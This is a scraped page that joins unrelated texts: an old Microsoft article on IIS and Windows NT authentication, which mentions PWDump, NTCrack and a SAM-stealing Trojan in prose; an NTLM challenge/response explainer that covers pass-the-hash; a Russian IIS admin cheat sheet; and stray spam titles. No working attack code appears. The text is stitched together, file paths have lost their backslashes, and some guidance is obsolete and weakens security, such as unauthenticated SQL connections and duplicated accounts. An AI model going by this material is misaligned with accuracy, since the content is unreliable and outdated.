  • You need to authenticate users using a browser other than Microsoft Internet Explorer. For example, Netscape Navigator only understands Basic authentication. If you have NT challenge/response and Basic authentication selected, Internet Explorer will always use NT challenge/response, and Navigator will choose Basic. If your data is sensitive, this is a serious security concern.

  • Your site authenticates users and your ASP pages access resources on other Windows NT machines. The classic situation is an ASP page that uses ADO (ActiveX Data Objects) to access a database on a remote Windows NT machine. To avoid delegation issues, either ensure that all requested resources are located on the IIS machine, or, if that isn’t practical, use Basic authentication.

Common Authentication Scenarios

Whenever an Internet user is authenticated using NT challenge/response, delegation will be an issue when IIS accesses Windows NT resources across a network or local resources using UNC paths. Of course, all local resources can be accessed as long as the user has the correct NTFS level permissions.

UNC Paths

A common delegation-related error occurs when an ASP page is coded to access a database using a file-based data source (such as an Access .mdb file) and the location is specified using a UNC path (for example, \ServerShareresource.ext). Even though the resource is local, specifying a location using UNC makes it look to Windows NT as if it is elsewhere on the network. The Windows NT networking subsystem handles UNC paths. Windows NT is abstracted within its various components enough that if you step into the networking subsystem, as far as the other Windows components are concerned, you are out on the network. This leads to the confusing, but rather amusing scenario where an IIS machine that has authenticated a user using challenge response, and is trying to access a local resource using UNC, will demand authentication from itself, and is unable to fulfill the request. To resolve this problem, use absolute paths on the IIS machine (for example, “C:folderresource.ext”).

Delegation, NOT!

There is a subtle security-related failure that mimics delegation failure, but is not related to delegation at all. In both these cases, you will see a three machine hop that fails (browser to NT/IIS to NT/remote resource). To troubleshoot this, check if this is an authenticated or non-authenticated transaction. If authenticated, the problem is almost certainly delegation failure. However, if the page is accessed anonymously, the problem is likely caused by the anonymous logon account being local to the IIS machine. This can easily happen because the IUSR_machinename account is of course created locally. IIS impersonates IUSR_machinename, and attempts to access a resource on the remote machine. The challenge is passed, and IIS correctly encrypts the challenge using the IUSR_machinename’s password hash. However, the remote Windows NT machine takes the password hash and tries to validate it using its local SAM database and the local domain controller. Neither the remote Windows NT machine nor the domain controller have ever heard of this account and, therefore, can’t validate the information.


  1. Duplicate the IUSR_machinename account as a local account on the remote machine making sure the user passwords are the same. If an identical local account exists on the machine with the desired resources, that machine can validate the submitted hash without the aid of a domain controller. Even though the two accounts are physically separate accounts, if their information matches, validation can occur. One of the technical reasons you can get away with this technique is because Windows NT’s hashing algorithm is such that two identical passwords from different users will generate the same password hash. Under UNIX, this isn’t the case. UNIX introduces a value referred to as «salt» such that two users with the same password will generate different hash values. Setting up a duplicate local account is best when you want the IUSR_machinename account to only have access to specific remote resources on your net. If someone is able to compromise the password for the anonymous account, they will only have access to those computers on the network where the local account exists. The drawback is of course that if the anonymous account needs access to multiple remote resources, now you have an administration nightmare as all the accounts and their passwords must be kept in sync.

  2. Make the anonymous logon account a domain account. To do this, remove the IUSR_machinename account from the local IIS machine, and create a new account on the domain controller. From the WWW properties dialog box of the Internet Service Manager, enter the Username field information in the format DomainUsername (for example, BigDomainJoeUser). This method is the easiest to administer, but in the event that the account information is compromised, an intruder would have greater access to the network. For some reason, I’ve talked with a lot of network administrators who are concerned about the IUSR_machinename account being a target of hackers. It is actually no easier to steal the anonymous logon account name and password then the CEO’s, so my preference for ease of administration is the domain route.

  3. SQL Server has the unique ability to allow an unauthenticated connection from another machine, effectively bypassing Windows NT’s security. If security isn’t a big concern (local company intranets are usually pretty safe environments), you may want to make the process of connecting to SQL server much easier by using TCP/IP sockets. SQL server will monitor the network traffic and respond directly to TCP/IP requests, taking Windows NT out of the loop. SQL has it’s own security layer, so it is very possible to use this option and still implement a decent security configuration. To enable this option, select TCP/IP sockets in the Security dialog box when running SQL setup.

To “Security Dialog” or Not to “Security Dialog”? That is the Question!

Some Web developers do not want their users to have to type in a name and password each time they view the site. So when will users be prompted with a dialog box to enter their name and password?

When using NT challenge/response, Internet Explorer automatically and invisibly sends the logon name, domain name and hash of the currently logged on user to the Web server. Internet Explorer does this without asking because sending the encrypted challenge doesn’t present any real security risk. From there, two things can happen:


  • If the IIS machine sends information that can be appropriately validated by the domain controller, the user will be authenticated without a visible prompt.

  • If the domain name sent by the browser isn’t recognized by IIS, then IIS will have no idea where to send the information for validation. This is more common for Internet users than intranet users, since a person sitting at home is rarely on a domain. Even if they are, their domain controller probably isn’t accessible by the IIS machine. Internet Explorer prompts the user to enter a new name and password, in effect saying, “Give me some information that I can use.” If an employee working at home were trying to access a secured site, they would need to enter their name in the form “bigdomainJoeUser” and their password in the password field so that IIS will get the correct domain information. Explicitly stating the domain name in this manner is almost always mandatory authenticating users across the Internet.

Under Basic authentication, the user will always be prompted with a logon dialog box. You can probably guess why. We are about to do something that could compromise your Windows NT account name and password. All browsers figure that if you are willing to fill in the information and click OK, then you must know what you are doing. I personally don’t have a problem using Basic authentication on a secure corporate network, but I will not use it over the Internet without an additional layer of security such as Secure Sockets Layer (SSL is invoked on a specially configured Web server that uses HTTPS:// instead of HTTP://). Once again, the user will need to explicitly state the domain. IIS still needs to verify the submitted information with some domain controller.

Hackers and Your Site

Before I get into this, it seems I always need to offer a disclaimer. Yes, an aspiring young hacker could read this and get ideas, but believe me, there are much better sources for hackers than this article. The best way to really secure your site is to know where the weak points are, and no one knows where the weak points are better than hackers. There are several key areas that a hacker may try and attack or exploit on a Web site. Obviously getting their hands on a username and password with administrative privileges is the biggest coup. Getting a user’s password hash is almost as good because a password hash can be used in some cases as a «password equivalent.» The password hash could be used to answer challenges by encrypting the challenge. Doing this can grant an intruder «access this computer from the network» rights. To be granted a «log on locally» right, though, they still need the actual password.

Several programs have been written specifically to extract password hashes from a Windows NT domain controller’s SAM database, and crack the passwords. PWDump.exe and NTCrack.exe are both free on the Internet, and are used by both system administrators and hackers. System administrators will use PWDump to synchronize the password lists between network servers in a mixed environment such as UNIX and Windows NT so users don’t need different passwords for the different Network operating systems. Hackers will use PWDump and NTCrack to execute a brute-force attack against a network. Here is how it works. PWDump.exe is a program written to dump the SAM database of user hashes and account information to a text file. An administrator must run PWDump, so hackers usually wouldn’t run the program themselves. If they already had an administrator’s password, they would have enough. A hacker without administrative access to a network could construct a Trojan horse program that could be sent in e-mail to an unsuspecting user. If the user, while logged on with administrative rights, ran the attachment in e-mail, the program could silently dump the SAM database and e-mail the text file to the hacker. (I received mail recently with an attachment that said «click here.» I’ll give you one guess what the chances are of my clicking on an unknown e-mail attachment; exactly zero). Once a hacker has the output of PWDump, they still don’t have any passwords. Remember that the MD4 hashing algorithm theoretically cannot be reversed. NTCrack is the program of choice for brute force attacks against a list of password hashes. NTCrack can take all the words in the English language, as well as play sophisticated games for variations with numbers and case sensitivity, and in several hours on an average Pentium machine, generate all the possible hashes for about a million words and phrases. It then just matches the hashes on file with the hashes retrieved from PWDump, and looks to see which password generated that hash. NTCrack is only useful because users tend to choose passwords that are easy to remember. If NTCrack had to brute force attack all the possible password hashes for Windows NT’s maximum password length of 14 characters (including numbers, symbols, and case sensitivity), the search it would take several thousand million years using a Pentium 120. (I don’t know if anyone has calculated how long it would take on a Pentium Pro, but I think we’re safe for a little while.) If you would like more information on security issues, search the Internet for NTCrack or PWDump. I personally enjoy using NTCrack on my own system to ensure that the password list is secure and that my users are choosing good passwords.

Final Word

I hope you now have a better idea of Windows NT security issues that affect Web site development. This subject comes up the most frequently on sites that use authentication and deliver dynamic database driven content. In this article I’ve tried to look at just the underlying foundations of security and delegation. Future articles will begin to build on this understanding, and discuss more specific configuration issues and problems. If you have a good understanding of what IIS is doing to get its job done, you’ll be much more able to get your job done.

Happy programming!

Scott Stabbert

ASP / Visual InterDev Training Lead

Microsoft Internet Developer Support

The LM and NTLM (v1 and v2) challenge/response processes are nearly identical, which is to be expected since the NTLM Security Support Provider (SSP) is responsible for implementing the LAN Manager, NTLMv1, NTLMv2, and NTLMv2 Session protocols.

NTLM Challenge/Response

Here’s what the process looks like:

  1. Client sends a login request to the server. This is also known as a Type 1 message and contains a list of features supported by the client and requested of the server.
  2. Server respondes with a Type 2 message, which contains the agreed-upon features and a random string (the challenge)1.
  3. Client responds with a Type 3 message, containing its response to the challenge and, in the case of NTLMv2, a little something extra.
  4. Server processes the response (in a domain environment, the server will send the username, challenge, and response to a DC to do this work), using its copy of the user’s hash as the key, and compares the result with the challenge. If they match, the client is authenticated.

So why do we go through all this trouble with the challenge and response? Why can’t the client just send its hashed credentials for the server to compare with its own local copy and be done with it?

The reason for all of this challenge/response business is that Windows hashes are password equivalent. In both NTLM and Kerberos, it is the user’s hash that acts as the input into the process. The only thing an attacker needs to authenticate as a user is access to their NT hash. This is known as a pass-the-hash attack.

NTLM uses challenge/response as a way to prevent the user’s hash from being sent over the network where it can get stolen. Rather, the hash is used to encrypt a challenge, which is then sent as proof that the client has access to the user’s credentials (the hash). The server will then encrypt the challenge it sent with its own copy of the user’s hash and compare the two results. If they match, the client is authenticated.

So how does the response actually get made?

LM & NTLMv1 Response

In a welcome bit of simplicity, LM and NTLM both follow nearly the same process for creating a response. The only difference is the input hash format used as a key for the DES encryption algorithm.

Here’s a closer look at the encryption process:

1
2
3
Response = DES(<HASH>[0-6], challenge) +
           DES(<HASH>[7-13], challenge) +
           DES((<HASH>[14-15] + 5 * NULL), challenge)

If LM is enabled, the response will contain both the LM response (24 bytes) and the NTLMv1 response (24 bytes). If LM is not enabled, you’ll just get the NTLMv1 part. Fair enough.

LMv2 & NTLMv2 Response

You knew v2 wasn’t going to get simpler, right?

LMv2 Response

The LM response is created for systems that don’t understand NTLMv2 and are expecting to see a 24-byte response value in both the LM and NT positions. The HMAC-MD5 hash is 128 bits (16 bytes) long which, when combined with the 8-byte client challenge, results in a 24 byte value. Coincidentally (or not?) the size of the old school LM response.

1
2
3
NTLMv2 Hash   = HMAC-MD5(NT Hash, uppercase(username) + target)
LMv2 Goodies  = HMAC-MD5(NTLMv2 Hash, challenge + 8-byte client nonce)
LMv2 Response = LMv2 Goodies + 8-byte client nonce

NTLMv2 Response

The NTLMv2 response is the default version of NTLM for pretty much every computer running Vista or greater. If you’re dealing with NTLM today, it’s probably NTLMv2.

Here’s how an NTLMv2 response is created:

  1. The username is converted to uppercase and concatenated with either the (case-sensitive) target domain name or server name2.
  2. The username/target string is smashed into an HMAC-MD5 function, using the NT hash as the key. This gives us the 16-byte NTLMv2 hash.
  3. The blob is created3.
  4. The server’s challenge is concatenated with the blob, and then smashed into another HMAC-MD5 function, this time using the NTLMv2 hash as the key, resulting in a 16-byte output, which I’ll be calling the Goodies.
  5. The Goodies are concatenated with the blob to form the NTLMv2 response.
1
2
3
NTLMv2 Hash     = HMAC-MD5(NT Hash, uppercase(username) + target)
NTLMv2 Goodies  = HMAC-MD5(NTLMv2 Hash, challenge + blob)
NTLMv2 Response = NTLMv2 Goodies + blob

The data contained in the blob is of variable length, which means that the response will also be of variable length.

NTLM2 Session Response (No V!)

Do you have serious security concerns about precomputed dictionary attacks, but can’t implement NTLMv2? Read on, dear reader, read on.

We’re going to start this one with the LM response:

  1. Client creates an 8-byte nonce and null pads it to 24 bytes to form the LM response.
1
LM Response = 8-byte client nonce + 16 * NULL

Now on to the NTLM2 bit:

  1. Combine the 8-byte client nonce with the server challenge to create a session key.
  2. Squish the session key through MD5.
  3. Truncate the 16 bytes of hashed session key down to 8. This is the NTLM2 session hash.
  4. Null pad the 16-byte NT hash to 21 bytes, then split that into three 7-byte blocks.
  5. Using each of the 7-byte blocks as the key, DES-encrypt the NTLM2 session hash.
  6. Concatenate the three resulting ciphertext bits into a 24-byte response.
1
2
3
4
5
NTLM2 Session Key = 8-byte client nonce + 16-byte server challenge
NTLM2 Session Hash = (MD5(NTLM2 Session Key))[0-7]
NTLM2 Response = DES(NTLM2 Session Hash[0-6], NTLM2 Session Hash) +
                 DES(NTLM2 Session Hash[7-13], NTLM2 Session Hash) +
                 DES((NTLM2 Session Hash[14-15] + 5 * NULL), NTLM2 Session Hash)

ELI5

The deeper down you go with NTLM the more complicated it gets, but from a 5-year-old’s perspective it’s quite simple. Both the client and the server have access to the hash of the user account you’re using to authenticate. If they didn’t, you wouldn’t be able to authenticate at all which makes for as short blog post.

So you want to connect to the server but we’re going to do this in a such a way that we’re not sending your password-equivalente NT hash across the network where it could be burgled.

You contact the server and say «hi» and in return the server provides you with a random string. You encrypt this random string with either DES (LM & NTLMv1) or HMAC-MD5 (NTLMv2), using your NT password hash as the key, and then send it back to the server.

Since the server (or DC) also has access to your hash, it encrypts the challenge with that hash and compares its result to the one sent by the client. If it’s a match, the client is authenticated.

Resources

  • NTLM Challenge Response is 100% Broken (Yes, this is still relevant
  • NT LAN Manager
  • The Most Misunderstood Windows Security Setting of All Time
  • The NTLM Authentication Protocol and Security Support Provider

  1. The LM/NTLMv1 challenge is 8 bytes, the NTLMv2 challenge is 16. ↩︎

  2. If the target server is not in the client’s domain, the server name is used in place of the logon domain name. ↩︎

  3. I did not make this name up. This contains, among other times, a timestamp, a client nonce, some target-specific data, and a few unknowns. During my research, I kept running into articles referring to the 8-byte client nonce as a challenge. This made me think that somehow the client was also authenticating the server, but I don’t believe this is the case. After a decent amount of digging, it appears that this is truly a nonce, and is implemented to prevent replay attacks. ↩︎

Администрирование

MMC — Microsoft Management Console

  •  
    •  
      •  
          A) Нажмите конпки stop, start или pause в меню панели инструментов.
          B) Нажмите правой кнопкой мыши на нужном сервисе и нажмите Start, Stop или pause.
    • Свойства наследуются по всей
      иерархии сайта (Site, Directory и Files), если только в индивидуальный
      свойствах явно не указан другой набор свойств. Например, установки
      сайта (Site settings)будут унаследованы каталогами и файлами в пределах
      этого сайта.

      Web site operator имеет ограниченный
      набор администраторских полномочий на конкретном сайте. Он может только
      менять установки сайта, но не установки IIS. Web site operator может
      быть назначен сайту через свойства сайта (закладка Operators).

      При помощи MMC можно останавливать, запускать и ставить на паузу различные службы.

      Что бы остановить, запустить или поставить на паузу службу, сделайте одно из следующих действий:

Для того, что бы удаленно администрировать IIS, в адресе необходимо указать порт, например : http://www.cramsession.com:6967/iisadmin/

.

Аутентификация

Возможные способы аутентификации :

  •  
    • Allow Anonymous — любой пользователь может получить доступ к вашему сайту.
    • Basic — Для доступа требуется имя пользователя и пароль.
    • Windows NT Challenge/Response — Используется проверка прав пользователя через User Manager for Domains.
    • SSL Client Certificate — Сертификат, установленный на системе клиента, используется для аутентификации.

Если права пользователя меняются в то
время, когда загружен IIS, необходимо либо подождать 15 минут, пока
изменения вступят в силу, либо перезапустить соответствующую службу для
немедленного внесения изменений.

От пользователей Web аутентификация требуется только когда:

  •  
    • Анонимный доступ запрещен.
    • Анонимному пользователю запрещен доступ к данному ресурсу.

Когда используется метод аутентификации
challenge/response, браузер, не поддерживающий этот метод (не
MS-браузен ) выведет на экран сообщение Access is Denied

.

Если браузер поддерживает только basic authentication, не отключайте ее в IIS, в противном случае сайт будет недоступен.

В IIS доступ на чтение позволяет пользователям читать или скачивать файлы.

Для доступа к каталогам, которые
находятся на разделе NTFS на удаленном сервера, вам необходимо указать
имя пользователя и пароль.

Что бы не передавать имя
пользователя и пароль по сети, используйте метод challenge/response в
WWW и используйте только анонимные подключения в службе FTP.

Виртуальные каталоги, расположенные на удаленном компьютере, для доступа к ним требуют учетной записи пользователя NT.

Если IIS установлен на server1,
а виртуальный каталог располагается на server2, и две системы не входят
в один NT домен, вы должны добавить одинаковую учетную запись
пользователя на server1 и на server2.

Клиентские сертификаты могут быть назначены на учетные записи NT.

Разрешения NTFS и IIS:

  •  
    • Содержание сайта = Read
    • Программы = Read и Execute
    • Базы данных = Read и Write

Что бы исключить доступ анонимного пользователя к конкретным директориям:

  •  
    • Уберите все разрешения NTFS у группы guest
    • Присвойте пользователю IUSR_ComputerName право no access

Если в FTP используются только
анонимные подключения, задействуйте оба свойста — Allow Anonymous
Connections и Allow Only Anonymous Connections в разделе Security
Accounts свойств сайта FTP.

WWW

Есть два пути как пользователь может получить доступ к виртуальному каталогу:

  •  
    • Ссылки.
    • Написать alias в URL.

Пробелы в именах виртуальных каталогов вызовут проблемы у старых браузеров.

Если вы не указали адрес IP виртуального сервера к виртуальному каталогу, он будет виден всеми виртуальными серверами.

Когда реплицируете ваш web сайт
на несколько серверов, используйте одинаковое имя для любого сайта.
Создайте отдельные записи с именем web сервера как alias.

Пользователь по умолчанию должен иметь право logon local для получения доступа к WWW страницам вашего сервера.

Для улучшения загрузки web страниц, увеличьте время HTTP keep alive.

Виртуальные каталоги на другом сервере:

  •  
    • Создайте каталог общего доступа на удаленном сервере
    • Используйте путь UNC к удаленному серверу и каталогу общего доступа
    • Введите имя пользователя и пароль для соединения
    • Удаленный сервер должен быть в том же домене, или добавьте имя пользователя с правами доступа в обоих доменах.

Для каждого виртуального сервера может быть создан только один домашний каталог (home directory).

Каталог скриптов в виртуальном домашнем каталоге управляет скриптами для этого виртуального домашнего каталога.

Общий каталог скриптов не назначенный на виртуальный домашний каталог может управлять скриптами для всех виртуальных серверов.

Виртуальные каталоги различаются именами alias. Alias привязан к виртуальному каталгу в закладке каталог (directory tab).

Если вы удалите виртуальный
каталог IISadmin на сервере, который вы администрируете, вы не сможете
использовать HTML администратора.

FTP

Для использования аннотаций каталогов:

  •  
    • Поместите AnnotateDirectories REG_DWORD=1 в реестр.
    • Создайте ~ftpsvc~.ckm в каждом каталоге.

Некоторые броузеры не могут моддерживать управлени более чем одной линии в FTP приветственном сообщении, и получают ошибку 404.

Изменение Порта TCP через FTP Site
Properties потребует изменение клиентам их настроек software FTP для
TCP портa для правильного подключения.

Типы листиногов каталогов FTP:

  •  
    • DOS — дата, время, размер, имя
    • UNIX — разрешения, владелец, группа, размер, дата, время, имя

Порты

Порт Номер
FTP 21
Telnet 23
SMTP 25
HTTP 80
SSL 443

Если вы изменяете номер порта, клиенты должны указать измененный номер порта для доступа к ресурсу.

ISAPI/CGI/Perl

Разрешение на Исполнение (Execute) необходимы для ISAPI и CGI приложений.

Разрешение на Чтение (Read) необязательно для ISAPI и CGI приложений.

Разрешения NTFS Читать (Read) и Писать (write) необходимы для ISAPI/CGI на разделах NTFS.

Для возможности серверу запускать CGI приложения, добавьте запись для типа приложения в реестр.

CGI приложения не могут быть запущены если использовалась аутентификация challenge/response.

CGI необходим новый процесс для каждого исполнения.

ISAPI фильтры используются для настройки процесса авторизации, доступа или процесса входа пользователя (logging).

Perl необходимо установленного command interpreter на IIS сервере.

MIME

MIME (Multipurpose Internet Mail Extensions) — Содержит список расширений и их ассоциаций с приложениями.

Установки MIME существуют в metabase. Metabase подобна реестру, но используется исключительно для хранения установок IIS.

Назначения MIME существуют с MMC
— Свойства Web Site, под закладкой HTTP Headers. Вы должны остановить и
перезапустить web сайт для вступления в силу изменений MIME.

Добавьте тип MIME для разрешения
обработки файлов с другими расширениями. Например, добавьте тип MIME
для разрешения фaйлов *.WEB быть обработанными как файлы *.HTML.

SSL — Secure Sockets Layer

Страницы SSL влияют на загрузку CPU и дольше загружаются сами.

URL SSL начинаются с https:// вместо http://.

Используйте Key Manager для запроса и импорта сертификатов безопасности.

Если две компании используют один и тот же IIS сервер, вам нужно два SSL сертификата.

Вы можете указать IP адрес и номер порта для применения сертификата когда импортируете в KEYMGR.

Вы можете применить SSL сертификат на виртуальный сервер, на котором не установлен IIS, указывая его адрес IP.

Процедуры для получения и внедрения SSL сертификата:

    1. Сгенерируйте файл ключевой пары (key pair) и файл запроса (request).
    2. Запросите сертификат у authority.
    3. Установите сертификат.
    4. Активизируйте SSL на сайте/директории.


Коды Ошибок

Код Описание Ошибки
401 Unauthorized; Необходима требуемая аутентификация пользователя.
403 Forbidden;
Сервер понял запрос но отказался выполнять его. Аутентификация не
поможет. Обычно возникает когда пытаются получить доступ на SSL web
страницу без поддерживающего SSL броузера.
404 Файл не найден; Запрашиваемый ресурс не найден. Виртуальный Каталог может содержать пустое место в его имени.
500 Внутренняя Ошибка Сервера; учетная запись Аноним (Anonymous) не имеет права локально регистрироваться (log on local).
502 Плохой шлюз (Bad gateway); Ошибка возникает когда пытаются получить доступ к SQL базе данных с неправильным DSN в файле .IDC.

Регистрация (Logging)

Регистрация может быть реализована только для желательных служб, не для страниц, файлов и т.д.

Регистрация Текстового файла имеет минимальные воздействия на производительность.

Регистрация на базу данных SQL требует больше ресурсов.

Вы можете определить счетчик посещений для страницы из файла регистрации.

Только один файл журнала (log file) может быть создан для всех WWW виртуальных серверов.

Вы можете наблюдать за регистрациями пользователей Анонимов (Anonymous) через файл регистрации.

  • CONVLOG.EXE —
    Используется для преобразования IP адресов в DNS имена, и для
    преобразования файлов журана web в формат NCSA Common Log File.


Настройка Производительности

Вы можете органичить пропускную
способность для IIS кликнув по limit bandwidth. Эти ограничения
доступны для WWW служб (особенно для транспортировщиков файлов *.HTML),
чтобы больше пропускной способности оставалось для других служб.

Пропускная способность может быть ограничена индивидуально для каждого сайта.

ASP приложения, CGI скрипты и базы данных загружают CPU, по сравнению со стандартными .HTML и FTP транспортировщиками файлов.

Пропускную способность можно подсчитать добавляя 4 бита к каждому 12 биту на каждый байт:

  •  
    • т.e. 56,000 байт займут 56k*12 для передачи.

Модернизируйте сетевую архитектуру (100 BaseT, FDDI) если сетевая утилизация больше 60%.

IIS/SQL

.IDC файлы содержат имена и
расположение .HTX файлов, ODBC имя источника (DSN), SQL утверждения и
ID пользователя и его пароль (оба опцыональны).

.Коммуникация IDC требует 32-битовых драйверов ODBC.

Файл .HTX это шаблон HTML, используемый для отображения запрошенных данных SQL.

Измениение транспортоного
протооокола между SQL и IIS серверами (на разных машинах) остановит
хакеров от доступа к SQL через TCP/IP.

Три файла необходимы для соединения между IIS и SQL:

  •  
    • .IDC
    • .HTX
    • HTTPODBC.DLL

Если IIS и SQL сервера расположены в
разных доменах, необходимо установить доверительные отношения между
доменами или учетная запись IUSR_WEB должна быть добавлена в SQL домен.

Специальная однопользовательская лицензия (на SQL Сервер) необходима для разрешения неограниченного доступа к Интернет.

Если включена аутентификация
challenge на IIS, это остановить регитсрацию на удаленном SQL сервере.
Вам нужно установить основную (basic) аутентификацию или установить SQL
сервер на тотже сервер, что и IIS.

Index Сервер

Файлы index занимают по совокуности 40%

Index Сервер может искать ОДИН каталог на каждый запрос.

Есть два пути наблюдать за производительностью Index Сервера:

  •  
    • Performance Monitor
    • .IDA script

Вы можете сделать слитие (merge) Index
Сервера более частым, делая принудительное слитие с web
административной станицой, или сокращением максимального цисла
постоянных indexes в реестре, уменьшив MaxIndexesValue.

.IDQ эквивалетны .IDC файлам и
используются как фалы помощи при запросе преобразования от WWW. Они
содержат вводимую пользователем HTML форму. Они содержат следующую
информацию:

  •  
    • Scope запроса
    • Ограничения Запроса (Query restrictions)
    • Запрос самого себя (Query itself)
    • Имя .HTX файлов

Избегайте нессответствущих hits добавляя шумовые слова (noise words) в WINNTSYSTEM32NOISE.ENU.

Избегайте нежелательных hits в Index
Сервера, создавая отдельные каталоги на каждый виртуальный каталог с
различным содержанием, и сопоставляя отдельные каталоги с
соотвествующими виртуальными серверами.

Имейте отдельные каталоги в установках IS Я знаяю, что документ там, но мой запрос не возвращает этого.

Запросы Index Сервера с нулевыми результатами занимают слишком много времени CPU.

Три шага процессов фильтрации для Index Сервера:

  •  
    • Фильтрация Содержания (Content filtering) — Извлекает текст из файла.
    • Разрыв Слова (Word breaking) — Идентифицирует слова в пределах символьного потока.
    • Нормализация (Normalizing) — Удаляет преобразование букв в прописные, пунктуацию, и шумовые слова.

Типы index:

  •  
    • Списки Слова (Word lists) — Слова, извлеченные из документа в память во время когда документ фильтруется.
    • Индексы Тени
      (Shadow indexes) — Постоянные (сохраненные на диск, а не в память) —
      созданные слиянием списков слов и другими индексами тени.
    • Главный Индеск
      (Master index) — Постоянный, сильно сжатый; содержит данные индексов
      для большого числа документов, созданных главным слиянием (master
      merge). Слитые индексы тени и текущий главный индекс могут иметь много
      индексов в каталоге.

Подсети (Subnetting)

Десятичное Подсети # Класса A Хостов # Класса B Хостов # Класса C Хостов
.192 2 4,194,302 16,382 62
.224 6 2,097,150 8,190 30
.240 14 1,048,574 4,094 14
.248 30 524,286 2,046 6
.252 62 262,142 1,022 2
.254 126 131,070 510 NA
.255 254 65,534 254 NA

ODBC Коды Ошибок

Microsoft OLE DB Provider for
ODBC Drivers error «80004005» [Microsoft] [ODBC Microsoft Access
Driver] The Microsoft Jet database engine cannot open file «(unknown)».
It is already opened exclusively by another user, or you need
permission to view its data.

Причина — учетная запись (обычно IUSR) не имеет необходимых разрешений. Проверьте Разрешения NTFS и Share.

Microsoft OLE DB Provider for
ODBC Drivers error «800004005» [Microsoft] [ODBC Microsoft Access 97
Driver] Couldn’t use «(unknown)»; file already in use.

Причина — База данных не может быть блокирована правильно для большого количества пользователей.

Microsoft OLE DB Provider for
ODBC Drivers error «800004005»[Microsoft] [ODBC Driver Manager] Data
source not found and no defaultdriver specified.

Причина — Файл GLOBAL.ASA не
правильно выполняется. Проверьте, что этот файл находится в папке
Application Root для IIS, и что пользователи имеют разрешение Execute
на эту папку.

Microsoft OLE DB Provider for
ODBC Drivers error ‘80004005’ [Microsoft][ODBCAccess 97 ODBC driver
Driver] General error Unable to open registry key’DriverId’.

Причина — Эта ошибка возникает
при чтении значения из реестра. Проверьте разрешения на ключ реестра
используя Редактор Реестра (Regedt32.exe). Вам также понадобится для
использования Windows NT Монитор Реестра (Registry Monitor) для
проверки попыток неудачно прочесть реестр.

Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’ [Microsoft][ODBCDriver Manager] Data source name not ??

Причина — Это появляется в связи
с проблемой какое ПО установлено или удалено с компьютера. Если
основные файлы ODBC становятся несинхронизированными (они должны иметь
одинаковую версию) вы можете увидеть эту ошибку.

Microsoft OLE DB Provider for
ODBC Drivers error «800004005»[Microsoft] [ODBC Microsoft SQL Driver]
[dbnmpntw] ConnectionOpen (create file)

Причина — IIS будет использовать (по умолчанию) учетную запись Windows NT названную IUSR_Имя компьютера.
Эта учетная запись локальна для Web сервера, но по существу неизвестна
для любого компьютера в сети. Когда IIS, оперируя контекстом
безопасности учетной записи IUSR, пытается получить доступ к любому
ресурсу на удаленном компьютере, удаленный компьютер пытается утвердить
используемую учетную запись. Так как учетная запись IUSR — локальная и
не известна для удаленного компьютера, в доступе отказано.

Microsoft OLE DB Provider for ODBC Drivers error «800004005»[Microsoft] [ODBC Microsoft SQL Driver] Logon Failed

Причина — SQL Сервер запретил
доступ учетной записи, пытающейся получить доступ на SQL сервер.
Проверьте что пароли учетных записей SQL и NT совпадают, и что
подключение IIS к SQL серверу назначено на правильное имя пользователя.

Microsoft OLE DB Provider for
ODBC Drivers error ‘80004005’ [Microsoft][ODBC SQL Server Driver][SQL
Server] Login failed- User: Reason: Not defined as a valid user of a
trusted SQL Server connection.

Причина — Встроенная Защита
включена в SQL Enterprise Manager, а учетная запись Windows NT не была
назначена на учетную запись SQL. — Попытайтесь изменить SQL на
использование Standard Security. Если используете IIS 4.0, выключите
«Синхронизация Пароля (Password Synchronization)» для этого проекта.

  • Windows nt6 vista 7 and above setup что это
  • Windows on the world menu
  • Windows operating system windows server
  • Windows nvm не является внутренней или внешней
  • Windows on mac for games